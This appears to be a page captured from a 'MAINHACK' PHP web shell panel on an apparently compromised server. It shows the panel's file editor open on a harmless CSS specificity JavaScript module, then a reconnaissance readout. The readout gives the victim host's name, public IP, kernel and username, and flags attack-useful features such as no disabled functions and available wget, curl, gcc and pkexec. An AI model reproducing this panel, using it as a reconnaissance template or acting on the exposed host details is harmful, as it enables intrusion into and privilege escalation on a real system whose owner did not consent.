[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: specificity.js
var Marker = require('../../tokenizer/marker'); var Selector = { ADJACENT_SIBLING: '+', DESCENDANT: '>', DOT: '.', HASH: '#', NON_ADJACENT_SIBLING: '~', PSEUDO: ':' }; var LETTER_PATTERN = /[a-zA-Z]/; var NOT_PREFIX = ':not('; var SEPARATOR_PATTERN = /[\s,\(>~\+]/; function specificity(selector) { var result = [0, 0, 0]; var character; var isEscaped; var isSingleQuoted; var isDoubleQuoted; var roundBracketLevel = 0; var couldIntroduceNewTypeSelector; var withinNotPseudoClass = false; var wasPseudoClass = false; var i, l; for (i = 0, l = selector.length; i < l; i++) { character = selector[i]; if (isEscaped) { // noop } else if (character == Marker.SINGLE_QUOTE && !isDoubleQuoted && !isSingleQuoted) { isSingleQuoted = true; } else if (character == Marker.SINGLE_QUOTE && !isDoubleQuoted && isSingleQuoted) { isSingleQuoted = false; } else if (character == Marker.DOUBLE_QUOTE && !isDoubleQuoted && !isSingleQuoted) { isDoubleQuoted = true; } else if (character == Marker.DOUBLE_QUOTE && isDoubleQuoted && !isSingleQuoted) { isDoubleQuoted = false; } else if (isSingleQuoted || isDoubleQuoted) { continue; } else if (roundBracketLevel > 0 && !withinNotPseudoClass) { // noop } else if (character == Marker.OPEN_ROUND_BRACKET) { roundBracketLevel++; } else if (character == Marker.CLOSE_ROUND_BRACKET && roundBracketLevel == 1) { roundBracketLevel--; withinNotPseudoClass = false; } else if (character == Marker.CLOSE_ROUND_BRACKET) { roundBracketLevel--; } else if (character == Selector.HASH) { result[0]++; } else if (character == Selector.DOT || character == Marker.OPEN_SQUARE_BRACKET) { result[1]++; } else if (character == Selector.PSEUDO && !wasPseudoClass && !isNotPseudoClass(selector, i)) { result[1]++; withinNotPseudoClass = false; } else if (character == Selector.PSEUDO) { withinNotPseudoClass = true; } else if ((i === 0 || couldIntroduceNewTypeSelector) && LETTER_PATTERN.test(character)) { result[2]++; } isEscaped = character == Marker.BACK_SLASH; wasPseudoClass = character == Selector.PSEUDO; couldIntroduceNewTypeSelector = !isEscaped && SEPARATOR_PATTERN.test(character); } return result; } function isNotPseudoClass(selector, index) { return selector.indexOf(NOT_PREFIX, index) === index; } module.exports = specificity;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.51 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002